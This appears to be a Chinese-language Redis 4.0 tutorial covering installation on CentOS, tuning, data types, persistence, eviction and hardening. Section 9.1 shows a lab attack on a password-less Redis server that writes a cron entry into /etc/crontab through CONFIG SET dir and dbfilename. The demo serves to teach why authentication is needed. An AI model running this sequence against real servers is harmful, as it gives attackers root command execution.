Redis4.0之持久化存储

一,redis概述与实验环境说明

1.1 什么是redis

redis是一种内存型的NoSQL数据库,优点是快,常用来做缓存用

redis存储数据的方法是以key-value的形式

value类型支持字符串,列表,哈希等多种类型

1.2 环境说明


主机名


IP


用途


Redis01


10.1.1.146


Redis-master

[[email protected] ~]# cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
[[email protected] ~]# uname -r
3.10.0-862.el7.x86_64
[[email protected] ~]# systemctl stop firewalld
[[email protected] ~]# systemctl disable firewalld
[[email protected] ~]# setenforce 0
setenforce: SELinux is disabled
[[email protected] ~]# sestatus
SELinux status:                 disabled

1.3 yum仓库使用技巧

查找一个命令出自哪个rpm包

二,Redis服务器4.0版本源码编译安装

2.1 redis下载地址https://redis.io/download

2.2 redis源码编译

[[email protected] ~]# yum -y install wget gcc gcc-c++ make tar openssl openssl-devel cmake

[[email protected] ~]# tar xf redis-4.0.11.tar.gz -C /usr/src/
[[email protected] ~]# cd /usr/src/redis-4.0.11/
[[email protected] redis-4.0.11]# make && make MALLOC=jemalloc && make PREFIX=/usr/local/redis install

[[email protected] ~]# cd /usr/local/redis/
[[email protected] redis]# ls
bin
[[email protected] redis]# mkdir -p /usr/local/redis/conf
[[email protected] redis]# cp /usr/src/redis-4.0.11/redis.conf /usr/local/redis/conf/

[[email protected] redis]# cp /usr/src/redis-4.0.11/sentinel.conf /usr/local/redis
/conf/[[email protected] redis]# ln -s /usr/local/redis/bin/* /usr/local/bin/
[[email protected] redis]# which redis-server
/usr/local/bin/redis-server
[[email protected] redis]# redis-server --version
Redis server v=4.0.11 sha=00000000:0 malloc=jemalloc-4.0.3 bits=64 build=4d00
c4dd9c0e3653[[email protected] redis]# redis-cli --version
redis-cli 4.0.11

(快照)

三,Redis服务器启动和系统参数调整

3.1 简化redis配置文件

[[email protected] redis]# pwd
/usr/local/redis
[[email protected] redis]# cp conf/redis.conf{,.bak}
[[email protected] redis]# egrep -v "^$|^#" conf/redis.conf.bak > conf/redis.conf
[[email protected] redis]# mkdir -p /data/redis/  创建redis数据目录

修改redis配置文件以下参数

修改成以下设置

[[email protected] redis]# vim conf/redis.conf
[[email protected] redis]# cat -n conf/redis.conf | sed -n ‘1p;3p;4p;7p;9p;11p;21p‘
     1    bind 0.0.0.0  #监听地址
     3    port 6379   #监听端口
     4    tcp-backlog 1024  #tcp连接数
     7    daemonize yes  #是否后台启动
     9    pidfile /data/redis/redis.pid    #pid存放目录
    11    logfile "/data/redis/redis.log"   #日志存放目录
    21    dir /data/redis  #工作目录

3.3 redis服务器启动和关闭

启动redis服务器
[[email protected] redis]# redis-server /usr/local/redis/conf/redis.conf
[[email protected] redis]# netstat -antup | grep redis
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN     
 17416/redis-server

关闭redis服务器

[[email protected] redis]# redis-cli -p 6379 -h 127.0.0.1 shutdown
[[email protected] redis]# netstat -antup | grep redis
[[email protected] redis]# redis-server /usr/local/redis/conf/redis.conf
[[email protected] redis]# netstat -antup | grep redis
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN     
 17426/redis-server

[[email protected] redis]# redis-cli shutdown
[[email protected] redis]# netstat -antup | grep redis
连接redis服务器

[[email protected] ~]# redis-server /usr/local/redis/conf/redis.conf
[[email protected] ~]# redis-cli -h 127.0.0.1
127.0.0.1:6379> exit
[[email protected] ~]# redis-cli
127.0.0.1:6379> exit

3.4 系统参数优化调整

启动redis以后,我们查看系统日志 cat /data/redis/redis.log

警告提示1:系统文件描述符设置的太小了,才1024,我们最好设置到10032

警告提示2:对一个高负载的环境来说tcp设置128这个值,太小了。

警告提示3:overcommit_memory=0为不允许超额抢占内存,但是,rdb保存可能会失败。建议将vm.overcommit_memory = 1进行修改

警告提示4:你的内核中启用了巨大内存页的支持,这将与redis的延迟内存使用冲突。

1)调整系统文件描述符

[[email protected] ~]# echo "* - nofile 10240" >> /etc/security/limits.conf

退出登陆一下即可生效

[[email protected] ~]# exit

[[email protected] ~]# ulimit -n
10240

2)调整系统tcp连接数

[[email protected] ~]# sysctl -a | grep soma
net.core.somaxconn = 128
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.ens32.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
[[email protected] ~]# echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf
[[email protected] ~]# sysctl -p
net.core.somaxconn = 10240

3)调整系统内存分配策略

[[email protected]1 ~]# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf
[[email protected] ~]# sysctl -p
net.core.somaxconn = 10240
vm.overcommit_memory = 1
[[email protected] ~]# sysctl -a | grep commit
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.ens32.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
vm.nr_overcommit_hugepages = 0
vm.overcommit_kbytes = 0
vm.overcommit_memory = 1  #设置好了
vm.overcommit_ratio = 50

4)关闭系统内核的巨大内存页支持

[[email protected] ~]# echo never > /sys/kernel/mm/transparent_hugepage/enabled
[[email protected] ~]# cat /sys/kernel/mm/transparent_hugepage/enabled
always madvise [never]
[[email protected] ~]# echo never > /sys/kernel/mm/transparent_hugepage/defrag
[[email protected] ~]# cat /sys/kernel/mm/transparent_hugepage/defrag
always madvise [never]

添加到/etc/rc.local

[[email protected] ~]# echo ‘echo never > /sys/kernel/mm/transparent_hugepage/enabled‘ >> /etc/rc.local

[[email protected] ~]# echo ‘echo never > /sys/kernel/mm/transparent_hugepage/defrag‘ >> /etc/rc.local

[[email protected] ~]# tail -2 /etc/rc.local
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag

5)重启redis-server验证修改

关闭redis     清空日志     启动redis

四,Redis客户端使用和字符串简单操作

  • mysql命令用来跟MySQL服务器进行交互
  • redis-cli命令用来跟redis服务器进行交互

4.1 使用redis-cli客户端登陆redis-server

[[email protected] ~]# redis-cli
127.0.0.1:6379> exit
[[email protected] ~]# redis-cli -h localhost -p 6379
localhost:6379> exit

4.2 redis字符串操作

4.1 使用redis-cli客户端登陆redis-server

[[email protected] ~]# redis-cli
127.0.0.1:6379> set name wwl    #增加键(key)和值(value)
OK
127.0.0.1:6379> get name #根据键获取值
"wwl"
127.0.0.1:6379> set name xiaomei    #修改键的值
OK
127.0.0.1:6379> get name   #根据键获取值
"xiaomei"
127.0.0.1:6379> del name   #删除,返回1代表删除成功
(integer) 1
127.0.0.1:6379> GET name  #命令不区分大小写
(nil)
127.0.0.1:6379> set NAME test
OK
127.0.0.1:6379> get name
(nil)
127.0.0.1:6379> get NAME   #key区分大小写
"test"
127.0.0.1:6379> del NAME
(integer) 1

4.3 非交互式操作redis服务器

[[email protected] ~]# redis-cli set name welcome
OK
[[email protected] ~]# redis-cli get name
"welcome"
[[email protected] ~]# redis-cli del name
(integer) 1
[[email protected] ~]# redis-cli get name
(nil)

五,Redis列表集合简单操作

redis的key都是字符串,value支持字符串,列表,集合等

5.1 redis列表的操作,有序的可重复的

列表就是有顺序的,可重复的一堆值的组合

[[email protected] ~]# redis-cli
127.0.0.1:6379> lpush names yun1    #创建一个列表names,并从左边推入一个值yun1
(integer) 1
127.0.0.1:6379> lpush names yun2    #向列表names左边推入一个值yun2
(integer) 2
127.0.0.1:6379> lpush names yun3
(integer) 3
127.0.0.1:6379> lpush names yun4
(integer) 4
127.0.0.1:6379> lpush names yun5
(integer) 5
127.0.0.1:6379> lrange names 0 -1  #查看列表names从索引0开始到结束所有的值
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lrange names 0 1     #查看索引0到1的值
1) "yun5"
2) "yun4"
127.0.0.1:6379> lrange names 0 3
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
127.0.0.1:6379> lrange names 0 0
1) "yun5"
127.0.0.1:6379> lpush names yun  
(integer) 6
127.0.0.1:6379> lpush names yun
(integer) 7
127.0.0.1:6379> lrange names 0 -1
1) "yun"
2) "yun"
3) "yun5"
4) "yun4"
5) "yun3"
6) "yun2"
7) "yun1"
127.0.0.1:6379> lrem names 1 yun  #从左边数删除第一个yun
(integer) 1
127.0.0.1:6379> lrem names 1 yun
(integer) 1
127.0.0.1:6379> lrange names 0 -1
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lpush names xue   #从列表的左边加入一个元素xue
(integer) 6
127.0.0.1:6379> lpush names xue
(integer) 7
127.0.0.1:6379> lrange names 0 -1
1) "xue"
2) "xue"
3) "yun5"
4) "yun4"
5) "yun3"
6) "yun2"
7) "yun1"
127.0.0.1:6379> lrem names 0 xue   #从列表的左边数删除所有的雪
(integer) 2
127.0.0.1:6379> lrange names 0 -1
1) "yun5"
2) "yun4"
3) "yun3"
4) "yun2"
5) "yun1"
127.0.0.1:6379> lpop names  #移除列表最左边的元素
"yun5"
127.0.0.1:6379> lpop names
"yun4"
127.0.0.1:6379> lpop names
"yun3"
127.0.0.1:6379> lpop names
"yun2"
127.0.0.1:6379> lpop names
"yun1"
127.0.0.1:6379> lpush names lili
(integer) 1
127.0.0.1:6379> lpush names lili1
(integer) 2
127.0.0.1:6379> lpush names lili12
(integer) 3
127.0.0.1:6379> lrange names 0 -1
1) "lili12"
2) "lili1"
3) "lili"
127.0.0.1:6379> rpop names    #移除列表最右边的元素
"lili"
127.0.0.1:6379> rpop names
"lili1"
127.0.0.1:6379> rpop names
"lili12"
127.0.0.1:6379> lpush wang haha1
(integer) 1
127.0.0.1:6379> lpush wang haha2
(integer) 2
127.0.0.1:6379> lpush wang haha3
(integer) 3
127.0.0.1:6379> lrange wang 0 -1
1) "haha3"
2) "haha2"
3) "haha1"
127.0.0.1:6379> lset wang 0 www   #修改列表左起第一个元素
OK
127.0.0.1:6379> lrange wang 0 -1
1) "www"
2) "haha2"
3) "haha1"

5.2 redis集合的操作,无序的不重复的

集合就是不能重复的,无固定顺序的列表

127.0.0.1:6379> sadd ages 10    #向集合中添加元素
(integer) 1
127.0.0.1:6379> sadd ages 15
(integer) 1
127.0.0.1:6379> sadd ages 20
(integer) 1
127.0.0.1:6379> sadd ages 25
(integer) 1
127.0.0.1:6379> sadd ages 25    #失败,集合的元素具有唯一性
(integer) 0
127.0.0.1:6379> smembers ages    #查看集合里的元素
1) "10"
2) "15"
3) "20"
4) "25"
127.0.0.1:6379> srem ages 25     #移除集合里是25的元素
(integer) 1
127.0.0.1:6379> smembers ages
1) "10"
2) "15"
3) "20"
127.0.0.1:6379> spop ages   #随机移除集合里的一个元素
"10"
127.0.0.1:6379> smembers ages
1) "15"
2) "20"
127.0.0.1:6379> sismember ages 40  #查找集合里是否有40的元素
(integer) 0        #集合里没有40的元素
127.0.0.1:6379> sismember ages 15
(integer) 1

六,Redis的hash和订阅简单操作

6.1 redis的hash操作

hash就是可以存多个键值对的组合(类似python字典)

127.0.0.1:6379> hset info name ‘yunjisuan‘   #增加一个hash
(integer) 1
127.0.0.1:6379> hset info age 25
(integer) 1
127.0.0.1:6379> hset info location ‘beijing‘
(integer) 1
127.0.0.1:6379> hgetall info
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"
127.0.0.1:6379> hget info name
"yunjisuan"
127.0.0.1:6379> hdel info name age
(integer) 2
127.0.0.1:6379> hgetall info
1) "location"
2) "beijing"
127.0.0.1:6379> del info
(integer) 1
127.0.0.1:6379> hmset info name ‘yunjisuan‘ age 25 location ‘beijing‘
OK
127.0.0.1:6379> hgetall info
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"

6.2 redis的订阅操作

开启redis的订阅功能
[[email protected] ~]# redis-cli
127.0.0.1:6379> subscribe yunjisuan    #开启频道名:yunjisuan的订阅功能,可开启多个窗口进行订阅
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "yunjisuan"
3) (integer) 1
对频道进行内容推送
[[email protected] ~]# redis-cli
127.0.0.1:6379> publish yunjisuan ‘你真美‘     #向频道yunjisuan推送你真美
(integer) 1     #推送成功的人数
再开两个窗口,查看订阅信息
[[email protected] ~]# redis-cli
127.0.0.1:6379> subscribe yunjisuan
[[email protected] ~]# redis-cli
127.0.0.1:6379> subscribe yunjisuan
127.0.0.1:6379> publish yunjisuan ‘nihao‘
(integer) 3
关掉登录一个
127.0.0.1:6379> publish yunjisuan ‘hahaha‘
(integer) 2

七,使用Shell往Redis批量添加数据

1)批量往redis server上插入数据

[[email protected] ~]# for line in `seq -w 10`;do redis-cli set name_${line} value_${line};done

2)查看key的情况

[[email protected] ~]# redis-cli
127.0.0.1:6379> keys *    #查看所有key命令,不建议使用,上千万的key会使redis服务器堵塞
 1) "name_03"
 2) "name_08"
 3) "name_07"
 4) "name_02"
 5) "name_10"
 6) "name_09"
 7) "name_06"
 8) "name_05"
 9) "name_01"
10) "name_04"
127.0.0.1:6379> randomkey   #随机返回一个key
"name_02"
127.0.0.1:6379> randomkey
"name_07"
127.0.0.1:6379> scan 0   #分页查看key
1) "0"
2)  1) "name_08"
    2) "name_07"
    3) "name_02"
    4) "name_10"
    5) "name_09"
    6) "name_03"
    7) "name_06"
    8) "name_05"
    9) "name_01"
   10) "name_04"

八,Redis服务器info状态信息查看

redis提供了一个info命令查看redis服务器的信息,类似Linux提供一个top命令查看系统的信息

[[email protected] ~]# redis-cli info
# Server    #服务器的信息
redis_version:4.0.11     #redis服务器版本
redis_git_sha1:00000000   #Git SHA1
redis_git_dirty:0      #Git dirty flag
redis_build_id:4d00c4dd9c0e3653     #redis build id
redis_mode:standalone     #运行模式,单机或集群
os:Linux 3.10.0-862.el7.x86_64 x86_64   #redis服务器宿主机操作系统
arch_bits:64     #架构64位
multiplexing_api:epoll       #redis所使用的事件处理模型
atomicvar_api:atomic-builtin
gcc_version:4.8.5     #编译redis时gcc版本
process_id:17876    #redis服务器进程的pid
run_id:be4b0e741fa09976438795ea0d240bfcce94330d  #redis服务器的随机标识符(sentinel和集群)
tcp_port:6379  
uptime_in_seconds:3989
uptime_in_days:0
hz:10
lru_clock:3099797
executable:/root/redis-server
config_file:/usr/local/redis/conf/redis.conf

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0

# Memory
used_memory:849248
used_memory_human:829.34K
used_memory_rss:2428928
used_memory_rss_human:2.32M
used_memory_peak:910592
used_memory_peak_human:889.25K
used_memory_peak_perc:93.26%
used_memory_overhead:836686
used_memory_startup:786592
used_memory_dataset:12562
used_memory_dataset_perc:20.05%
total_system_memory:1021906944
total_system_memory_human:974.57M
used_memory_lua:37888
used_memory_lua_human:37.00K
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
mem_fragmentation_ratio:2.86
mem_allocator:jemalloc-4.0.3
active_defrag_running:0
lazyfree_pending_objects:0

# Persistence
loading:0
rdb_changes_since_last_save:7
rdb_bgsave_in_progress:0
rdb_last_save_time:1546603255
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:0
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:352256
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0

# Stats
total_connections_received:27
total_commands_processed:144
instantaneous_ops_per_sec:0
total_net_input_bytes:4876
total_net_output_bytes:124503
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:25
keyspace_misses:11
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:105
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0

# Replication
role:master
connected_slaves:0
master_replid:e2baa8fec4ff2b9aa764c386381e9c6556d4c5a0
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:1.65
used_cpu_user:1.15
used_cpu_sys_children:0.00
used_cpu_user_children:0.00

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=10,expires=0,avg_ttl=0

九,Redis服务器加密和无密码攻击演示

在这之前先演示一下怎么操作redis
修改redis的配置文件一般都要重启redis,但是redis有一种平滑修改的功能
[[email protected] ~]# cd /data/redis/
[[email protected] redis]# ls
dump.rdb  redis.log  redis.pid
默认redis是开着持久化存储的,我们给它关了
配置文件里查找一下和save有关的参数
127.0.0.1:6379> config get save
1) "save"
2) "900 1 300 10 60 10000"
因为之前我的机器快照过,所以会有这些信息,现在要去掉它的持久化

127.0.0.1:6379> config set save ""
OK
127.0.0.1:6379> config get save
1) "save"
2) ""
这时它的配置文件没有任何变化,执行重写配置文件,再看配置文件已经发生了变化,save的信息已经没了

127.0.0.1:6379> config rewrite
OK

这就是redis的平滑修改,不需要重启配置文件

127.0.0.1:6379> config get dir
1) "dir"
2) "/data/redis"
我们用config get dir发现,redis的工作目录我们都会知道在哪,因此我们只要连上redis,就能够修改它的配置文件

9.1 入侵无密码redis服务器演示
开启Redis02,测试效果,开始攻击
[[email protected] ~]# redis-cli -h 10.1.1.146 -p 6379
10.1.1.146:6379> config get dir
1) "dir"
2) "/data/redis"
攻击之前记得将redis01快照一下。。。。。
10.1.1.146:6379> config set dir /etc/
OK
10.1.1.146:6379> config set dbfilename "crontab"
OK
10.1.1.146:6379> config set save "900 1 300 10 60 10000"
OK
10.1.1.146:6379> config get save
1) "save"
2) "900 1 300 10 60 10000"
10.1.1.146:6379> config rewrite
OK
[[email protected] ~]# echo "* * * * * root echo ‘attack‘" >> /tmp/attack
[[email protected] ~]# vim /tmp/attack
[[email protected] ~]# cat /tmp/attack    #这个文件内容上下必须各有两个回车

* * * * * root echo ‘attack‘

[[email protected] ~]# cat /tmp/attack | redis-cli -h 10.1.1.146 -x set attack
OK
[[email protected] ~]# redis-cli -h 10.1.1.146 save
OK

然后你的redis服务器就会被攻击了

redis无密码如果放在公网的话,会被攻击

9.2给redis增加密码的两种方式

(1)通过redis配置文件增加密码

给配置文件增加密码参数
[[email protected] ~]# echo ‘requirepass "yunjisuan"‘ >> /usr/local/redis/conf/redis.
conf[[email protected] ~]# tail -1 /usr/local/redis/conf/redis.conf
requirepass "yunjisuan"
[[email protected] ~]# redis-cli shutdown
[[email protected] ~]# redis-server /usr/local/redis/conf/redis.conf
[[email protected] ~]# redis-cli
127.0.0.1:6379> keys *
(error) NOAUTH Authentication required.
127.0.0.1:6379> auth yunjisuan
OK
127.0.0.1:6379> set name benet
OK
非交互式输入密码进行登录
[[email protected] ~]# redis-cli -h 127.0.0.1 -p 6379 -a yunjisuan get name
Warning: Using a password with ‘-a‘ option on the command line interface may not be safe.

"benet"
警告:使用-a方式输入密码并不安全

(2)使用交互式的方式给redis增加密码(无需重启redis)

将之前在配置文件里设置的密码参数删除
[[email protected] ~]# sed -i ‘$d‘ /usr/local/redis/conf/redis.conf
重启redis-server
[[email protected] ~]# redis-cli -a yunjisuan shutdown
Warning: Using a password with ‘-a‘ option on the command line interface may not
 be safe.[[email protected] ~]# redis-server /usr/local/redis/conf/redis.conf
[[email protected] ~]# netstat -antup | grep redis
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      
23539/redis-server 
交互式登陆redis设置密码
127.0.0.1:6379> set name benet
OK
127.0.0.1:6379> get name
"benet"
127.0.0.1:6379> config get requirepass
1) "requirepass"
2) ""
127.0.0.1:6379> config set requirepass yunjisuan
OK
127.0.0.1:6379> config get requirepass
(error) NOAUTH Authentication required.
127.0.0.1:6379> auth yunjisuan
OK
127.0.0.1:6379> config get requirepass
1) "requirepass"
2) "yunjisuan"
127.0.0.1:6379> config rewrite
OK
127.0.0.1:6379> exit
[[email protected] ~]# tail -2 /usr/local/redis/conf/redis.conf
# Generated by CONFIG REWRITE
requirepass "yunjisuan"

十,Redis的RDB存储方式

10.1 redis的运行方式说明

redis如果提供缓存服务,可以关闭所有持久化存储,如此一来redis重启后所有数据会丢失

开启rdb或aof持久化存储,能把redis中的数据持久化到磁盘中。

rdb和aof对性能都有影响,所以建议持久化的操作在从库上进行

10.2 redis
rdb存储方式,使用save配置开启rdb存储或者关闭rdb存储

与rdb相关的配置文件信息

dir /data/redis/    #dir为rdb存储的路径

dbfilename dump.rdb #rdb存储文件的名字

save 60 10000       #60s改变10000key,触发rdb存储

save 300 10         #300s改变10个key,触发rdb存储

save 900 1          #900s改变1个key触发rdb存储

rdbcompression no   #rdb压缩最好关闭,影响cpu

0.3 设置开启或者关闭rdb存储

提示:默认情况下rdb持久化存储是开启的

[[email protected] ~]# redis-cli config set save " " #关闭rdb存储
OK
[[email protected] ~]# redis-cli config rewrite #配置保存
OK
[[email protected] ~]# redis-cli config set save "180 1 120 10 60 10000"   #开启rdb
OK
[[email protected] ~]# redis-cli config rewrite
OK
flushdb或flushall代表清空redis的数据(这两个命令以后也是要屏蔽掉的,很危险)
redis-cli info 查看redis里有多少个键,键的总数

10.4 进行数据写入,观察rdb存储日志

输入1万条数据

for line in `seq -w 10000`;do redis-cli set key_${line} value1_${line};done

查看日志信息cat /data/redis/redis.log

发生了1万条数据改变60秒内,触发rdb存储

10.5 redis提供的bgsave命令能够立刻触发rdb存储,观察存储日志

[[email protected] ~]# redis-cli save  #会阻塞前端客户数据输入
OK
[[email protected] ~]# redis-cli bgsave   #后台启动新进程进行rdb存储
Background saving started

#查看日志

[[email protected] ~]# cat /data/redis/redis.log

1228:M 04 Jan 22:26:53.345 * DB saved on disk       #save触发的日志信息
1228:M 04 Jan 22:27:00.370 * Background saving started by pid 25038     #bgsave触发的信息
25038:C 04 Jan 22:27:00.376 * DB saved on disk  #bgsave触发的信息
25038:C 04 Jan 22:27:00.377 * RDB: 0 MB of memory used by copy-on-write  #bgsave触发的信息
1228:M 04 Jan 22:27:00.392 * Background saving terminated with success   #bgsave触发的信息

十一,Redis的AOF存储方式

redis的appendonly(aof)持久化存储会把用户每次的操作都记录到文件中(类似mysqlbinlog)

11.1 动态开启或者关闭aof

[[email protected] ~]# redis-cli
127.0.0.1:6379> config get appendonly
1) "appendonly"
2) "no"
127.0.0.1:6379> config set appendonly "yes"
OK
127.0.0.1:6379> config rewrite
OK

11.2 写入数据,观察aof。多次运行,aof文件不断增大,rdb文件大小不变(略)

开启rdb之后瞬间就有了,这时数据库里的数据都已经被写过来了

[[email protected] redis]# cat appendonly.aof
[[email protected] redis]# du -sh appendonly.aof
460K    appendonly.aof
127.0.0.1:6379> flushdb
OK
127.0.0.1:6379> bgrewriteaof
Background append only file rewriting started

11.3 重写aof文件,整理相同的key,写入最后的有效值

BGREWRITEAOF

执行一个AOF文件重写操作。重写会创建一个当前AOF文件的体积优化版本

即使BGREWRITEAOF执行失败,也不会有任何数据丢失,因为旧的AOF文件在BGREWRITEAOF成功之前不会被修改。

重写操作只会在没有其他持久化工作在后台执行时被触发。

从Redis2.4开始,AOF重写由Redis自行触发,BGREWRITEAOF仅仅用于手动触发重写操作。

AOF默认情况下,也是和binlog日志一样增量往里面写的,测试如下:

127.0.0.1:6379> set name benent
OK

redis有16个库,0-15,默认是在0里面写的
[[email protected] redis]# cat appendonly.aof
*2
$6      (指的是下一个命令的字符数)
SELECT
$1
0  ( 先切进第0个大表)
*3
$3
set(之后的动作)
$4
name(之后的动作)
$6
benent(之后的动作)

127.0.0.1:6379> select 0
OK
127.0.0.1:6379> keys *
1) "name"
127.0.0.1:6379> select 1
OK
127.0.0.1:6379[1]> keys *
(empty list or set)
redis不像mysql有库名还有表名,可以理解成它只有(0-15)16张大表或者16个大库,刚开始是默认在第0张大表里,往里写的键都在那里面,select 1就相当于切换到1这个大表里了,所以里面没有,是空的

这就是aof文件里面记录的,但是它不好的地方也很突出

127.0.0.1:6379> select 0
OK
127.0.0.1:6379> del name
(integer) 1

再看一下aof是怎么记录的
[[email protected] redis]# cat appendonly.aof
*2
$6
SELECT
$1
0
*3
$3
set
$4
name
$6
benent
*2
$3
del
$4
name

我们发现虽然我们向redis添加了一个key,又删除了这个key。redis数据库从本质上来说并没有新增任何数据。但是aof文件仍旧把操作都给记录了。这样就会导致aof文件最终会非常大。所以aof文件的优化,就是让aof文件进行重写,只记录数据的增量部分。如此aof文件就小很多了。

完全复制了我之前的操作,但是在数据库里,一加一删是没用的,反而还会占大小,如果它一直这么记录下去,这个文件会越来越大,因此,在3.0之前运维都会写一个脚本,让它自动触发一个叫做bgrewriteaof,它的作用是优化aof,把所有的没有产生增量的aof文件里记录的数据全都删了
触发一下这个命令

里面就没东西了,将所有没有产生增量的语句全去掉了

但是4.0就不用了,它有自动触发

11.4 aof配置自动rewrite机制

在默认配置文件里,默认存在

获取aof-rewrite配置

127.0.0.1:6379> config get auto-aof-rewrite*
1) "auto-aof-rewrite-percentage"
2) "100"     #默认100%,也就是aof增加一倍后考虑rewrite,两个条件要同时满足
3) "auto-aof-rewrite-min-size"
4) "67108864"     #默认64mb,也就是aof达到64M后考虑rewirte,两个条件要同时满足

这就是为什么之前导入了一万条数据却发现aof并没有多大的原因
aof和binlog还有一个最大的不同是,binlog就记录之后的,aof一旦重写,它不光重写之后的,所有的键它都会写进去,aof文件是可以来进行数据迁移的,rdb是用来做主从复制的

[[email protected] ~]# for line in `seq -w 10000`;do redis-cli set key_${line} value
1_${line};done

刚开aof,如果它是增量的话,文件大小应该是0,如果它没有自动触发aof重写的话,它也是0,但是由于一万条太多了它就自动触发这个机制了,aof重写还用来数据迁移,也就是说aof现在是460k,里面所有的键都写到了aof里了,而且是增量写的,只要触发了aof,它是把redis里的所有的键重新写一遍

aof在工作中是用来做数据迁移的,rdb是用来做主从复制的

aof数据迁移也有很多种方式,如果能够ping通,直接建个从库数据就迁移过去了,比如要把redis从本地迁移到云上,在云上建一个从库,如果能连到公司里,数据自己就过去了,数据过去之后,再把它变成主库就行了,如果碰到不通的,数据连接不了,那就要把aof文件给弄过去。

十二,Redis最大内存设置和删除算法

redis-cli flushall #手动清空redis里所有数据

12.1 redis的键设置有效期,过期自动删除

127.0.0.1:6379> set name yunjisuan
OK
127.0.0.1:6379> get name
"yunjisuan"
127.0.0.1:6379> ttl name
(integer) -1
127.0.0.1:6379> expire name 5
(integer) 1
127.0.0.1:6379> ttl name
(integer) 3
127.0.0.1:6379> ttl name
(integer) 2
127.0.0.1:6379> ttl name
(integer) 1
127.0.0.1:6379> ttl name
(integer) 0
127.0.0.1:6379> ttl name
(integer) -2
127.0.0.1:6379> get name
(nil)

12.2 查看设置最大内存

查看和设定最大内存限制
127.0.0.1:6379> config get maxmemory
1) "maxmemory"
2) "0"      #默认对内存无限制

限制1M

127.0.0.1:6379> config set maxmemory 1M
OK
127.0.0.1:6379> config get maxmemory
1) "maxmemory"
2) "1000000"
127.0.0.1:6379> config rewrite
OK

12.3 可选择的删除算法

  • volatile-lru:

    • 使用LRU算法删除键(key需要设置过期时间)
  • volatile-random: 
    • 随机删除键(key需要设置过期时间)
  • volatile-ttl: 
    • 删除ttl最小的键(key需要设置过期时间)
  • allkeys-lru: 
    • 使用LRU算法删除键(所有key)
  • allkeys-random: 
    • 随机删除键(所有key)
  • noeviction: 
    • 不进行任何的操作,只返回错误,默认

[[email protected] ~]# redis-cli config get maxmemory-policy
1) "maxmemory-policy"
2) "noeviction"
在工作中最常用的是LRU算法,一旦内存不够用了,它会优先删除设了过期时间的键值

12.4 模拟超过内存

127.0.0.1:6379> keys *
(empty list or set)
127.0.0.1:6379> exit
[[email protected] ~]# for line in `seq -w 2000`;do redis-cli set key_${line} value_
${line};done

[[email protected] ~]# redis-cli info


到达了内存限制,已经不允许再往里面写了。

12.5 设置删除算法

将删除算法设置为volatile-lru

127.0.0.1:6379> config get maxmemory-policy
1) "maxmemory-policy"
2) "noeviction"
127.0.0.1:6379> config set maxmemory-policy volatile-lru
OK
127.0.0.1:6379> config get maxmemory-policy
1) "maxmemory-policy"
2) "volatile-lru"
127.0.0.1:6379> config rewrite
OK
127.0.0.1:6379> get key_0111
"value_0111"
127.0.0.1:6379> expire key_0111 3600
(integer) 1
127.0.0.1:6379> ttl key_0111
(integer) -2
127.0.0.1:6379> get key_0111
(nil)

说明:由上述测试可以发现volatile-lru算法,当内存到了最大值以后,会优先删除有过期时间的key。

十三,Redis禁用屏蔽危险命令

13.1 redis禁用的命令

FLUSHALL和FLUSHDB会清除redis的数据,比较危险

KEYS在键过多的时候使用会阻塞业务请求

13.2 redis禁用危险命令配置代码如下(写入配置文件即可,此配置无法平滑更新)

rename-command  FLUSHALL " " #将命令改名成空

rename-command  FLUSHDB " "  #将命令改名成空

rename-command  KEYS " "     #将命令改名成空

[[email protected] ~]# echo ‘rename-command  FLUSHALL ""‘ >> /usr/local/redis/conf/r
edis.conf[[email protected] ~]# echo ‘rename-command  FLUSHDB ""‘ >> /usr/local/redis/conf/re
dis.conf[[email protected] ~]# echo ‘rename-command  KEYS ""‘ >> /usr/local/redis/conf/redis
.conf[[email protected] ~]# tail -3 /usr/local/redis/conf/redis.conf
rename-command  FLUSHALL ""
rename-command  FLUSHDB ""
rename-command  KEYS ""

13.3 登陆redis,运行禁止命令进行测试

重启redis-server
[[email protected] ~]# redis-cli shutdown
[[email protected] ~]# redis-server /usr/local/redis/conf/redis.conf
测试被屏蔽的危险命令
